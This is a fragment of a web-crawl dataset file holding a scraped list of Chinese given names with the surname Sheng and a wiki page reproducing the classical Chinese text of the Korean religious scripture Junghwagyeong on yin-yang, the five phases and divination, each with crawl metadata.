lzh","language_score":0.4875530303,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.48755303025245667, \"cmn_Hani_score\": 0.37309926748275757, \"nan_Hani_score\": 0.08811303228139877, \"yue_Hani_score\": 0.01780484803020954, \"jpn_Jpan_score\": 0.013285473920404911}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.446,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n盛泽悦 盛飞玲 盛悦淇 盛海悦 盛悦海 盛玲娣 盛悦洋 盛宇瑶 盛樊洁 盛繁洁 盛家瑶 盛金瑶 盛锦瑶 盛钟瑶 盛瑜茹 盛若琳 盛仪琳 盛冬雪 盛小悦 盛长琳 盛闵文 盛伟英 盛金莉 盛选梅 盛楮文 盛真英 盛秀杉 盛婧雯 盛妍溟 盛依文 盛渝秀 盛桂娥 盛沂悦 盛倾艳 盛倾燕 盛雯悦 盛雯琳 盛梦瑶 盛俞莹 盛炫娟 盛奕冉 盛俪莹 盛菊芳 盛宏霞 盛莉绚 盛莉茜 盛倩茜 盛靖倩 盛科文 盛军娟 盛露怡 盛将丽 盛将莉 盛江莉 盛悦豪 盛丽燕 盛俪萍 盛岸娥 盛敏芬 盛紫瑶 盛世英 盛巍娜 盛瑶瑶 盛德琼 盛琳秀 盛毓倩 盛群倩 盛颖倩 盛倾倩 盛慧倩 盛佩倩 盛婉倩 盛唯倩 盛佳琳 盛翰文 盛诗妍 盛节燕 盛采艳 盛亚玲 盛泰美 盛燕玲 盛玄颖 盛璇颖 盛昭颖 盛可文 盛茹琼 盛雯媛 盛雯芳 盛雯艳 盛哲文 盛慧娟 盛林萍 盛昭萍 盛佳梅 盛忠琴 盛早红 盛佳玲 盛晓娜 盛建莉 盛建芬 盛开芳 盛芷玲 盛江艳 盛静茹 盛冰洁 盛淡美 盛婷良 盛世红 盛圆丽 盛夕芳 盛振红 盛后蓉 盛嘉洁 盛瑞雪 盛嘉瑶 盛怡茜 盛清瑶 盛婧兮 盛淇婧 盛婉婧 盛清娜 盛青娜 盛璧莹 盛伟玉 盛惠玲 盛硕蓉 盛素蓉 盛逸婷 盛迪琳 盛晓梅 盛梓媛 盛梓妍 盛春琼 盛媛暧 盛文媛 盛朕玲 盛琳凤 盛洁玉 盛美玉 盛怡和 盛伟婷 盛卫婷 盛韦婷 盛涵冉 盛歆芳 盛卓莉 盛与玉 盛倾秀 盛清秀 盛如秀 盛雯秀 盛琳涵 盛琳冰 盛裴姚 盛裴瑶 盛沛瑶 盛佩瑶 盛晓妍 盛清悦 盛清媛 盛秋怡 盛开艳 盛怡龙 盛红花 盛淑霞 盛新丽 盛玉媛 盛清莹 盛清芳 盛润洁 盛书红 盛昭雪 盛欣妍 盛婷兰 盛香萍 盛莲英 盛玉莹 盛乐瑶 盛丹英 盛钰丽 盛中玲 盛瑞妍 盛怡岙 盛卓妍 盛月芬 盛已倩 盛仙玲 盛俏琼 盛耀莹 盛昕媛 盛永莉 盛依琳 盛苑丽 盛莉茹 盛晓芳 盛晓玉 盛帅英 盛会霞 盛祖悦 盛悦悦 盛尹琳 盛永雪 盛建丽 盛建梅 盛美花 盛爱萍 盛宝娜 盛水莉 盛妍敏 盛广文 盛怡函 盛函怡 盛家怡 盛沈美 盛子娜 盛彩英 盛彦娜 盛林怡 盛燕菊 盛丽妍 盛诗文 盛会茹 盛一怡 盛如玉 盛玉娜 盛菊妍 盛夏瑶 盛飞瑶 盛忆雪 盛霞 盛静瑶 盛娜娜 盛可洁 盛昱洁 盛莛芳 盛春美 盛敏霞 盛曼文 盛之瑶 盛雪瑶 盛琰茹 盛琳雁 盛媛哲 盛妍芝 盛小雪 盛秀涵 盛志文 盛玲艳 盛茹君 盛浩萍 盛越颖 盛跃颖 盛婧燕 盛鸣燕 盛乃梅 盛麒蓉 盛文文 盛力文 盛伟燕 盛东娅 盛茹鸾 盛姣颖 盛琬莹 盛阳娅 盛风萍 盛昕颖 盛水怡 盛钰怡 盛金红 盛子嫣 盛子洁 盛夏燕 盛姣娥 盛友红 盛惠美 盛月红 盛旖玲 盛子妍 盛燕华 盛宇英 盛世颖 盛东霞 盛冬霞 盛莉岚 盛正妹 盛继文 盛云美 盛保美 盛星美 盛莉平 盛晓颖 盛舒婷 盛海花 盛家莹 盛嘉莹 盛家颖 盛桂丽 盛焕文 盛天悦 盛琳茵","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/zhzrzz.cn\/show_AA0.aspx","date":"2020-09-20T08:13:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400196999.30\/warc\/CC-MAIN-20200920062737-20200920092737-00781.warc.gz","language":"lzh","language_score":0.5368943214,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.5368943214416504, \"nan_Hani_score\": 0.3114616274833679, \"yue_Hani_score\": 0.1483335793018341}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.548,"perplexity_score":500.0,"cluster_detection":1} +{"text":"중화경 (원문)\n둘러보기로 이동 검색으로 이동\n증산법종교에서 전하는 《중화경》의 원문이다.\n相授心法允執厥中 中也者天命之性萬理具備天變萬化皆從此出乃天下之大本而爲道之體 和也者卽率性之謂四達不悖天下古今皆由此出天下之達道而爲道之用夫道 之體用不外乎吾之性情人以知己之有性而不知其出於天人以知事之有道而 不知其由於性萬物各具一性所以萬殊者一本也天下萬物雖有萬殊其理則一 惟吾心之一理以貫通乎天下事物夫事物萬殊而有不齊者各得其理也學者潛 心於聖人之業宜於此求焉聖人之心未感於物也則其體廣大虛明絶無毫髮偏 倚所謂天下之大本也 聖人之心感於物也則喜努哀樂各隨所感而應之無一不中節者所謂天下之達 道也以其本體而言之如鏡之未有所照則虛而己如衡之未有所加則平而已至 言其用則以其至虛而好醜無所遁其形以其至平而輕重不能違其則此所謂中 和而天地位萬物育雖天下之大不外乎吾心造化之中心者神明之舍所所以交 於神明之本夫事神之道必在於敬敬則此心收斂無所私曲而能直直則此心虛 明無所雜亂而能淸然後能通神明學者誠能虛心以體天下之物則精義妙道莫 不昭然而接於吾之心目然後眞知其道器之調合而顯微之無間也寶鑑照與不 照明未嘗息洪鍾叩與不叩鳴未嘗已 天用雨露之薄則必有萬方之怨 地用水土之薄則必有萬物之怨 人用德化之薄則必有萬事之怨 衆陰之中一陽始生天地之心可見衆惡之中一善始生聖人之心可見天用地用 人用統在於心性者乃天命之全體人心之至正所謂體用體所以立心之誠爲本 虛靈心之體用所以行道之行爲用智覺心之用靈者體之存其體謂之道道之用 不可窮智者用之發其用謂之神神之用不可測寂者感之體其體甚微理無不明 感者寂之用其用甚顯誠無不格物無不備誠者自誠也造化有造化用用無不致 道者自道也人事有人事用心外無理理外無事一心之理盡貫衆理學者進德修 業必以天地聖人爲法焉人者鬼神之會也人之虛靈智覺無異於鬼神人之始生 精與氣而已精氣爲物遊魂爲變陰精陽氣聚而成物魂遊魄降散而成變 精氣者自無而有自無而有神之情也游魂者自有而無自有而無鬼之情也自無 而有故顯而爲物神之狀也自有而無故隱而爲變鬼之狀也陰陽之精五行之氣 氣聚爲精 及其散也陰陽五行各歸其本魂陽反於天魄陰反於地鬼神何爲而有狀 精聚爲物 狀且無也何爲而有情曰物者具是形者也魂止則物存遊者止之變魂者使是形 者也魂遊則物亡亡者存之變觀其聚散則鬼神之情狀可知也精者魄也耳目之 視聽爲魄氣者魂也口鼻之呼吸爲魂二者合而成物魂也者神之感也魄也者鬼 之感也合鬼與神敎之至矣死則謂魂魄生則謂精氣天地間公共底鬼神 五行一陰陽陰陽一大極未嘗離也水火金木待時而成水生於火故天下無相克 之理五行造化之初一操一濕濕之流爲水濕之融爲木操之爍爲火操之凝爲金 其融結爲土自輕淸重濁先天五行之體四時主相生六腑主相克后天五行之用 其體對立其用循環五行之質存於人身爲肝肺心脾腎五行之神捨於人心爲仁 義禮智信質者其粗也神者其精也五行有五事貌言視聽思貌光澤故屬水言發 於氣故屬火金聲淸亮故聽屬金眼主肝故屬木四者皆原於思亦猶水火金木皆 出於土五行以土爲主五倫以信爲主五事以思爲主土居中央心亦虛中而居中 央天地之中央心也故東西南北身依於心思者動魂智者靜魄思者心之用謀度 其事人物始生精之凝而爲貌精之顯而爲視氣之出而爲言精之藏而爲聽其主 宰爲思精濕而氣操精實而氣虛精沈而其浮故精爲貌而氣爲言精之盛者濕之 極故爲木爲肝爲視氣之盛者操之極故爲金爲肺爲聽貌與視屬精故精衰而目 暗言與聽屬氣故氣衰而耳聾此理曉然者也精衰則氣衰精盛則氣盛無間隔也 醫書所屬而疑之則不知變之論也恭屬水水有細潤意思貌屬金金有精密意思 人之擧動亦欲細潤人之爲謀亦貴精密鬼神之實不越乎陰陽兩端而已大哉天 地之運日往月來爲夜月往日來爲晝熟測其所以然哉曰道也聖人乃能通而知 者也往者屈也來者伸也晝夜者一日之屈伸死生者一世之屈伸寒暑者一歲之 屈伸古今者萬世之屈伸聖人何以通而知之用易通乎晝夜之道知其死生之道 知生之道則知死之道盡事人之道則盡事鬼之道死生人鬼一而二二而一者也 冬寒夏暑者陰陽也所以運動變化者神也神無方易無體卽所謂天地鬼神幽明 生死曰陰陽也乾坤定於天地剛柔繼於動靜貴賤陣於尊貴吉凶生於事物變化 現於形體皆非聖人之爲也天地判陰陽之來本自有之聖人準之以爲敎爾學貴 於自得也天地所以爲天者不外乎陰陽五行天地一物陰陽一物物之來遠自八 荒之上深自六極之下吾能知之天地之鑑也萬事之照也 所謂至精至微處極深則至精硏幾則至微至精至微至神惟深惟幾惟神深者能 通天下之志幾者能成天下之務天地定位易在其中者神也何不言人行乎其中 蓋人亦物也若神行乎其中則人於鬼神上求之矣不疾而速不行而至何爲也曰 心之神聖人之神果何物也曰心之精也曰心惟能神否曰物理有之銅山東傾洛 鍾西應人氣亦有之其母요指其子應之五行者天地所生以養乎人者也其氣運 乎天不息其才運乎世不匱其理賦於人爲五倫以天道言之莫大於此故九疇之 首五事者天之所賦而具於人者也貌之恭言之從視之明聽之聰思之叡皆形色 中天性之本然也 必以敬用則能保其本然之性也不以敬用則身必慢言必悖視聽則婚且窒思慮 則粗且淺而本然之性喪矣五者治心之要以人事言之莫切於此故五行之次水 火金木待時而成水生於火故天下無相克之理仁義禮智信五者修身立道之本 齊家治國之本爲學之本鬼謀本陰陽五行之氣人謀本陰陽五行之理易者開物 成務冒天下之道如斯已而推而極於天地之大反而驗於心術之微其一動一靜 循環終始而已易曰天生神物聖人則之天地變化聖人效之河圖洛書聖人則之 通於天者河也龍馬負圖而出中於地者洛也神龜載書而出聖人之德上配天 而天降其祥聖人之德下及地而地呈其祥聖人見禽獸之文始劃八卦感通神明 之德以類萬物之精神龜所負之文背上列於數聖人通見其數爲九疇入萬世爲 治之法河圖洛書相爲經緯八卦九宮相爲表裡一二三四皆經常之疇法天以治 乎人六七八九皆權變之疇法人以驗乎天天地者陰陽對待之定體伏羲八卦 方位造化對待體文王八卦方位造化流行用對待非流行不能變化流行 非對待不能自行神明之德不外乎健順動止八者之德萬物之情不止乎天地雷 風八物之情神明之德不可見者也故曰通萬物之情亦可見者也故曰類)卦之 象反而求之不外乎吾身之外精可以通神明之德粗可以類萬物之精之爲道 德性命粗之爲形色聲容內之爲視聽言動外之爲君臣父子大而至於手足微而 至於爪髮皆不外乎八卦八卦何物也曰太極也太極何物也曰至正至中不偏不 倚道之大原也人徒知七尺軀載天履地飢食渴飮與進化而已天地之間日月運 轉消息盈虛往來屈伸之中熟知自頂至踵天之與我者有如是至精至妙至廣至 大之理是吾身也大而天地微而昆蟲草木幽而鬼神之理明而事物之跡明可以 謀諸人幽可以謀鬼神上極天地之始下極天地之終吾能反身而誠默而誠之不 言而信之則大足以參天地微足以育庶物幽務愧於鬼神明無作於人民與天地 相爲終始則所謂萬世之明鑑天地有可變之理聖人有能變之道天地定位聖人 可以成天地之能聖人成天地所不能成明可以酬酌事物之宜幽可以贊出鬼神 之命遠宗其道則凡事不在其道之外近守其法則凡事皆寓其法之中聖人之道 有四焉所謂變化也聖人所劃之卦作卜筮之法言者心中有意之辭制器者其事 著於象卜筮者其事吉凶占動者其事有變化卜筮者天所示人也人事盡而可以 求於天命備是德者伏羲是也聖人懼後世不能知之於是繫之辭以告之定其辭 以斷之曰示則使人有所見曰告則使人有所知曰斷則使人無所疑易有聖人之 道四焉(言器筮動)指其所志者易之辭圖書則日月星辰循環始終之度卜筮則 金木水火生成制克之數蓋天地所以爲造化者陰陽五行而已聖人不能違也天 地以其氣生物而理行乎其中聖人以其理治人而氣參乎其上是以明於天地人 道以敎下民卜筮之事聖人未嘗不敬信之以明鬼神之德聖人雖一時一事無 不敬卜筮天擇建立卜筮之人非其人不專非其人不可必得其人然後乃命卜筮 以定天下之吉凶八卦定吉凶吉凶生大業先天圖落筆之初陽劃在右陰劃在左 二劃分左右以成行列而爲一符劃不立則乾坤息而變化不行陰陽二氣交相雜 居而成文通書以妙用謂之神鬼神者造化陰陽之氣誠敬者造化陰陽之理道者 本然者也變化者所乘之機也陰陽二氣合而成文經天緯地是一橫一直一劃一 點皆是文理故謂之文文而質爲主裁成天地之道質以文爲輔輔相天地之宜便 是經天緯地道德文日月星辰天地文列于上金木水火地之文陣于下聖人處於 其間裁成輔相以爲用之精之約之釋一字致之約之則存養之功益密思慮者存 養之功精之則省察之功益嚴恐懼者省察之功約之精之其守不失則所以應物 之處無所差違所謂中和也誠能自强立志則氣亦從之不至於昏玩理養心則志 不昏志以神氣則氣不昏氣不昏則有受政之地聖人之敎可得而成矣統以言之 經與權而已經者道之常權者道之變學者雖一劃一點居常盡乎天之理動靜合 乎天地道則天必佑之天下許多道理皆包藏於卜筮中六劃成卦六位成章天地 設位易在其中惟禍福之機也 以筆言記者非一人點劃音聲之文各有定法四方如一卜筮能應鬼神如祭祀能 享鬼神鬼神之理在彼我以此理而行之故享應陰陽之道德依於吾心全德之仁 則頃刻周流天地凡草木禽獸蟲魚微物無不有陰陽之理聖人之心細推鳥獸羽 毛之微天産之物飛者陽走者陰地産之物木者陽草者陰鯉魚背上有三十六鱗 陰數神龍背上有八十一鱗陽數鳥獸之文謂之文禽獸大道術一物之理一人之 氣相爲符同不疾二速不行而至況聖人之心神乎亦集其自家精神則彼之精神 亦集於天文地理某物於草木禽獸某物於身於物爲某物各以例擧之不盡言學 者觸物求之衆物之中各有衆像可執之物爲柄柄者生物之權地有形而可執 故爲柄在天成象乾主氣故成像者法之未定在地成形坤主形故效法法者像 之已形變化流行非形像無以見故因形像而變化之跡可見人順理而成功乃贊 天地之化育人在天地之間只是一理然天人所爲各自有分天能生物耕必用人 水能潤物灌必用人火能燁物爨必用人裁成輔相皆人非贊而何)存心則一念全 萬理致知則萬事當理會理以本然者故性曰天德命曰天理亦一而已非二物也 如此則氣之偏者變而正柔者變而剛昏者變而明其不變者生死壽夭有定數也 心猶鏡仁者人心之全體仁猶鏡之明鏡本明彼塵垢之一蔽遂不明矣仁與心本 是一物彼私慾一隔心違仁却爲二物若私慾旣無則心與仁相會合成一物矣聖 人以陰陽之道盡洗其憂世之心望天下爲君子古人淳質初無文義故以卜筮劃 卦爻以開物成務繫辭曰自大衍以下皆是卜筮之事開示吉凶冒天下之道推而 上通鬼神之德精及於無形下察事物之理粗及於有像像者模得其物之形謂之 像辭者各指其所爲敲天下之動存乎辭卜者因其事而發明劃卦布爻以觀神明 其德之事觀其象觀其變捨逆取順玩其辭玩其占避凶趨吉萬物之體卽鬼神之 德所謂體物不可遺運禍福之機也 鬼神者天理之至也 知天理之至所以不惑 聖人者人道之至也 知人道之至所以不疑 鬼神便是天地之功用人於良能功用上認取其德鬼神生長斂藏之事是熟使之 曰道也然其性情如此也若生而成春長而成夏斂而成秋藏而成冬便是鬼神之 功用鬼神雖無形無跡遍體乎萬物之中鬼神之氣入於寸分毫釐絲忽之中以觀 消息盈虛之變出入進退之理變化之道莫非神之所爲也故知變化之道則知鬼 神之所爲也變者不能自變有神而變化者不能自化有神而化明於天地之道察 於民之故天人者合也 天地所助者順也人之所助者信也德積則行必有方物積則散必有道道心微者 天理之奧也人心之危者人慾之萌也道心是義理上見人心是事物上見一心篤 行則日用之間由念慮之微以達于事乃著必能去私取義從是舍非不使一毫人 欲之私則天理光明正大矣人之行事與天地相爲流通道在天行在人行有善惡 氣各以類應之德各有方氣各有像自五行以至於庶徵皆得其道則協氣成像人 蒙休祥五福應之失其道則乖氣成像人罹災殃六極應之惡充者成罪善充者成 功得失在於身一德修則凡德必修休咎應於天一氣和則凡氣必和君實造命者 也民侖雖稟于天君實造命休咎徵於天禍福加於人福極通天下人民言之人主不 以一身爲福極而以天下人民爲福極天命之謂性生物得來方始命名曰性以陰 陽五行化生萬物理亦賦焉曰命萬物各受所賦之理曰性此道在我無不本於天 故道之大源出於天性也理也一而已天能與人以耳目口鼻之形而不能使之無 飢餓凍餒之患天能賦人以仁義禮智之性而不能使之無氣稟物欲之蔽萬物各 具其性氣稟不同故其性所近者窺之近者非親近之近其性所近之近性命之理 繼于氣自古性字謂五行之生也各一其性故五性具焉五性感動而後善惡分萬 事出此則其中七情生焉性中有仁義禮智信性者禮之本仁者人之生理人若不 仁則自絶生理仁義禮智存心則叡治天下之本仁者人心之全體仁者政之本身 者人之本心者身之本萬物成時各成一仁仁者義者與鬼者待對發於心而自盡 則爲仁仁者用之跡驗於理而無違則爲信用者仁之心仁如天之崇故所知日就 於高明而德益大禮如地之卑故所行日進於平實而業益廣治天下之道不在多 端在致敬之間而已繼善陽也成性陰也此以天命之序而言陰陽也仁者陽也智 者陰也此以物受之性而言陰陽也陽之所以爲陽者皆動而無體陰之所以爲陰 者皆靜而有體通陰陽爲一道合天地爲一理幽明一理幽爲難知神人一道神爲 難格通於幽感於神則治人何難有之心猶活物獨以動物 玄玄妙妙至道之精昏昏默默至道之極學者從容涵養至於日深月熟則忽有不 期而自來力行則積累之功化生自然無跡之妙也德至而福自應皆天意所在 也天之生物必因本然栽者根本純固傾者根本搖動培養覆敗之數天非有私意 於其間因其物自取其本也如人之病若有生氣則藥氣依附而滋生若有死氣則 藥氣流散而危殆天下之治亂都在於吾身之得失矣鬼神往來屈伸其德是天命 之實理天地之理盡於鬼神君子窮神盡力於天道天理油然作雲沛然下雨一誠 終始流行萬物之中無誠則無物有誠則有物至誠不息則生物之多莫知其所以 然也至誠物用則所以配天地久則有驗千古以上萬里之外一心所通焉如木之 千枝萬葉都是生氣流注貫通德行於道道得於心則有日新之功恭主一身誠主 一心感者自己之道夫性者萬物之一源指用出於體指體出於用根於天理自然 謂之仁形於人心至愛謂之孝眞實無妄謂之誠主一無適謂之敬聖人之心所謂 天且不違至誠指大經大本之質理至聖指發用神妙之眞理禮者理也理必有其 實然後有其文文者所以文其實也天地之節文人事之儀則事死亡如生存曰誠 凡祭祀皆然而交於神明者愈遠則其心愈篤報本追遠之心盡則仁孝誠敬之至 矣此心久於事物之理則何所不明吾心之誠何所不格哉天者理也昭昭之天合 人心之天理原於天具於人心若逆理則自欺此心之天此欺在天之天禍非自外 而來罪及其身好德之人心所同然同德相應則天理自然合矣德者人心之公理 必有同德相從如居之有隣也範圍天地一念不喩時則經緯萬方雖天下之大德 乃可動欲知廣大則於天地觀之欲知變通則於四時觀之欲知陰陽則於日月觀 之欲知功德則於聖人觀之富有者大業日新者盛德生物無窮天地之大業運行 不息天地之盛德功及萬世聖人之大業終始日新聖人之盛德富有者無物不有 而無一毫之虧欠日新者無時不有而無一息之間斷藏之而愈有顯之而愈新出 者自內而外故往也入者自外而內故來也今日覆算昨日之故數往者順今日 逆計來日之故知來者逆陰陽一分一合進退之中造化無窮之妙也日者管領 萬物運行不息生生不已天地也聖人也一而已矣有是時有是才必有時才可以 知天之可畏必擇人居之 濟世之才與時會合則足以成務 知事之可畏必兢業圖之 人與天地一體身與手足一體人與天地不相通心不通身與手足不相通氣不通 手足不仁謂之病仁者人之生理天地與我同心人得天地之心爲心卽謂之仁而 善之本善者天地賦與萬物之理仁者天地生生萬物之心安土敦仁者其德廣大 其愛自廣敦乎仁者不失其天地生物之心敦是仁體愛是及物處仁者愛之理愛 者仁之用相爲表裡仁者在己則何憂之有若不在己逐物在外則皆憂知命者知 有命而信如天命故無憂其知益深隨處皆安大者無不統也廣者無不承也天地 至變者四時 之間至大至廣者也天地. 至善者至德至善是當行之理至德是自家所 至精者日月 所以極乎上者至嚴至密 得者也聖人 雖彼之所以化於此者淺深遲涑其效或有不同吾之 所以接乎下者-至寬至廣 所以應於彼者長養涵育其心或未嘗不一存而不失便是道義之門此生生不已 處聖人之言明其道知其理而無窮故樂而玩天下許多道理都在聖人口頭開口 道理之門擧古之聖人之言以敎人天地生萬物而先言人者天地之性人爲最貴 萬物皆備於人乾爲天也爲陰之父坤爲地也爲陽之母萬物分天地男女分萬物 察乎此則天地與我幷生萬物與我同體是故聖人親其親長其長而天下平雖一 草木一禽獸非其時殺伐者謂之不孝蓋物有雌雄牝牡之異則父母男女之像其 生也皆有先候次序之異則長中老少之像天地之性人爲最貴故以人言之分別 耳一陰一陽此天地生生之理大哉乾元萬物資始乃繼之者善坤道變化各正性 命成之者性繼之善元亨是氣方行而未著事物成之性利貞是氣稟受而結成物 事身敎於天下身敎者示以窮行踐履之實言敎於天下言敎者使其歌誦吟詠之 得二者不可偏廢以物求理而常玩物理以養性悠久猶人之元氣博厚猶人之形體 植德務其慈息去惡絶其根本學者於此有以不失其先後之序其經重之倫焉則 本末兼存內外交養日用之間無所間隔而從容涵育忽有不期而自來學者之工 夫皆在其中德盛仁熟從容中道然後有不期而自來非始學之事子房之從用孔 明之正大事之從容自我由之事之紛亂自我由之陰陽成象天道之所以立也陰 陽氣也剛柔成質地道之所以立也剛柔質也仁義成德人道之所以立也仁義理 也道一而已隨時著見故有三才之別而其中各有體用之分焉其實則一太極也 五行是發源處五事是持操處八政是修人事五紀是順天道都是人君之身上不 過敬用五事而已此則自强於暗察致力於謹獨使之無一息間斷則天下平之意 以此觀之人君之所任豈不重哉致敬則人與鬼神二而一不敬則人與鬼神一而 二人之於鬼神自當敬之若見得道理分明則須著也 又如卜筮自伏羲堯舜以來皆用之是有此理也人若於事有疑則敬而卜筮決之 聖人雖一時一事無不敬卜筮聖人有功於天下萬世上之天文下之地理中之人 倫衣服之原器用之利法度之章禮樂之則推明制作也聖人像八卦爲治天下南 面而立取諸離離陽明卦也萬物相見於離故其像大人取以繼明遍照四方垂拱 平章豈不美哉天生聖人以任斯道也達則爲天地立心窮則繼往聖開來學爲生 民之命天道如此也所行卽是所知非於知之外別有所行也誠者指鬼神言之鬼 神之氣屈伸其德是天命之實理所謂誠也至誠如神誠者自誠也道者自道也誠 自成則自然及物而道亦行於彼物也誠者自心爲體道者自理爲用誠字卽天命 之性是物之所以自成也道字卽率性之道是人之所以自行也聖人淸明在躬志 氣如神至誠能知禍福之理則微之顯者則鬼神遠取諸物則變化可見矣久於中 則必之於外至誠之德著於四方者至廣故配天地惟性有未至於理有未明則與 鬼神不相通博文是致知格物約禮是克己復禮致知格物知之事克己復禮行之 事凡物之理必先有質而後有文文則乃禮之本文必有質而生武必有資而殺失 其正理則無序而不和矣君子立心能知道理故實得於己不求於他矣君子之道 有眞理故日見其新小人之道無實德故日見其亡小人專求於利故必背義貪不 義之財則反有害矣利雖得反爲人所奪事事依於利則利己害人其怨必多小人 有財而無德故禍及其身小人由財而招禍君子由財而固德敬事是節用節用則 不傷財長國家而奢侈之心或有時而生自然廣用則害及於民雖有愛民之心民 不被其擇矣國家將興和氣致祥必有禎祥之兆國家將亡乖氣致異必有妖蘖之 萌衣服歌謠草木之怪謂之妖水旱蝗蟲疾病之怪謂之蘖天災見於上水旱疾病 蝗蟲人害生於下人心怨反盜賊幷起外國侵犯如此則雖有聖人乃慾扶持亦無 奈何天地變遷禍福之道由民順逆取舍之故聖人豈有別福而賜之曰正心順理 而行者是爲福無道之人求榮反求辱自富貴貧賤取舍之間以至終食造次顚沛 之頃無時不有然而其取舍之分明然後存養之功密存養之功密則取舍之分益 明矣古之君子戰戰兢兢靜養動察不使一毫怠慢矣頃刻安危在處心一身收拾 重千金此處以得太高妙然至誠之德在我能至其極則其功效氣像著於天下自 然如此能盡其道者惟堯舜而已蓋堯舜日久月深自有許多博厚高明悠久氣像 也悠久者其勢寬緩而不促迫大率功效氣像如三代之治氣像寬緩五伯之治氣 像促迫如地勢寬緩則長遠地勢斗峻則短促皆宜寬緩之義物之久則成而不壞 不久則雖成易壞至此悠久則與天地同用矣也方味之言得於耳者非難知之則 行之爲難未知則知之爲難知而至誠行之則不見其難非多述舊聞固不足以建 事非博學古訓固不足以立經非徒貴於多聞尤貴於學古也聞而知之非眞知也 不學不能知新我於未作事之前多聞天下古今之理去私擇善而信從之以爲表 準焉多見天下古今之事或善或惡而兼識之以爲參考焉夫多聞見則耳目之知 益廣精擇識則心志之知益明雖未能實知其理亦可以爲知之次矣徒學而不思 其理則罔且昏矣思者自得也如食必飽耳學而思則知益精思而學則守益固思 所以盡至精學所以致廣大學而思則理益明而不局於粗淺思而學則理益實而 不荒於高虛非平日積累之功無一朝貫通之效聖人千言萬語使人不失其本心 立心於仁處事於義有猶卽謀慮者也有爲卽施設者也有守卽持操者也此有德 之人人則念之焉聖人因天地陰陽之道立法使人知其寒暑耳聖人必先知道所 自來而後敎人 陰陽原於天地流行事物則謂之道修此道而敎人則謂之敎有所進則有所見故 高者有可攀之理深者有可入之理天地空虛之中萬物無非氣之死也上古聖賢 所謂氣此天地間公共之氣曰祖考亦是公共之 氣此身在天地之間便是理與 氣凝聚而生天地之間事與天地相關心與天地相通聖人之道在萬世功在萬世 今行聖人之道今得聖人之心便是天地事物之氣與理相通自祖考以來一氣相 傳人物在天地間生生不窮者理也氣聚而生氣散而死者氣也氣聚於此則理具 於此今氣散而無矣則理何寓耶物自爲父母之生也殊不知父母之生則天地之 生豈於父母之外別有天地生乎正其人倫和順於道德默契本源處理與義合應 處理出乎天言純乎天此天之言矣言者心之聲行者心之跡言行感應之樞機也 人以善爲感應則感應同乎天地故動天地詩之作也本言志而已方其詩也及其 歌也未有歌也未有樂也樂乃爲詩而作非詩爲樂而作也詩出乎志者也樂出乎 詩者也詩者本也樂者末也協其音反復而致其意諷詠之間況然而悟悠然而得 忘其傾斜偏小之念達其公平廣大之意詩之體使人諷詠而正其性情者也斯理 也成之在人則爲生成者性人心存乎此理乃道義之門禮樂敎化曰號令也但能 使民行乎其中不能使民洞曉其理非不欲使民曉之也勢有所不能故百姓日用 而不知也致禮以致身致樂以治心學者誠能以壯敬治其身和樂養其心則禮樂 之本得之矣詩自性中流出非吾心外物天高地下合同而化天地之間自然禮樂 禮以節人樂以和人書傳以道事詩傳以達意春秋以道義周易以神化天道恢恢 豈不大哉談笑微中足以解紛 金玉瓊房視逆旅 石門苔壁儉爲師 絲桐焦尾誰能解 竹管絃心自不離 匏落曉星霜可履 土墻春柳日相隨 革援翁畢有何益 木시耕牛宜養頤 篤於道者忘於物 勤於物者害於道 篤於道者心存義理 勤於物者心存淫慾 耳目口鼻聰明道通聰屬耳明屬目叡知屬心審則能思知則能知心者魂魄之合 思屬動魂智屬靜魄魂能知來有所未知則思索而知之陽之盡也魄能藏在其已 知則存而已陰之盡也一陰一陽相爲配對 天理人慾不能兩立故學者深戒之學貴於自得默而識之非吾意所及也不視不 聞之中自得於心而不忘也吾心之誠感格於神明之際人無言語勸之也人皆自 化而動寂然不動之時初不能如人之有思亦不能如人之有爲皆純乎天及其動 時而其受命也如響應無有遠近幽深逐知來事物則感而遂通天下之故皆同乎 人變化言功鬼神言用鬼神只是氣而已數亦只是氣而已氣之靈曰神變化之道 數法是也變化鬼神只是氣而已天地之數五十五變化鬼神不越乎其間萬物莫 逃乎數七八九六各爲十五陰陽進退互藏其宅進則爲變退則爲化鬼神往來屈 伸皆進退之妙用處也天地之間動靜循環而已更無餘事其循環動靜之理所謂 太極兩儀四象八卦自三百八十四爻總爲六十四卦自六十四卦總爲八卦自八 卦總爲四象自四象總爲兩儀自兩儀總爲太極無極太極謀得有功處太極所以 爲太極却不離乎兩儀四象八卦太極動而生陽太極靜而生陰動時便是陽太極 靜時便是陰太極盖太極在陰陽之中太極是生兩儀則先從實理處其生則俱生 太極依舊在陰陽之中其理則一其次第須有實理始有陰陽也雖然事物觀之則 陰陽函太極推其本則太極生陰陽雨屬水肅之反爲狂狂則蕩故常雨暘屬火乂 之反爲僭政不治則僭差也僭則亢故常暘暖屬木哲之反則猶豫不明故猶豫猶 豫則解緩故常暖寒屬金謀之反則不深密故急躁急則縮栗故常寒風屬土聖之 反則閉塞不通爲蒙蒙則昏其心思無所不入以濟四者之惡故常風雨暘暖寒風 行乎歲月日時之中其災祥與人事相應 在天有五行在人有五事五行與五事天人合矣 人者鬼神之會也思者動魂未知則思而索之動 心者魂魄之合也知者靜魄已知則存而記之靜 遊者止之變 亡者存之變 八政者 人之所以因乎天 五紀者 天之所以示乎人 皇極者 君之所以建極也 三德者 治之所以應變化也 稽疑者 人而聽於天也 庶徵者 推天而徵於人也 福極者 人而感而天而應也 五福曰響 所以勸也 六極曰威 所以徵也 五事曰敬 所以誠身也 八政曰農 所以厚生也 五紀曰協 所以合天也 皇極曰建 所以立極也 三德曰乂 所以治民也 稽疑曰明 所以辨惑 庶徵曰念 所以省驗也 本之以五行敬之以五事厚之以八政順之以五紀 皇極所以建也 乂之以三德明之以稽疑 驗之以庶徵徵之以福極皇極所以行也 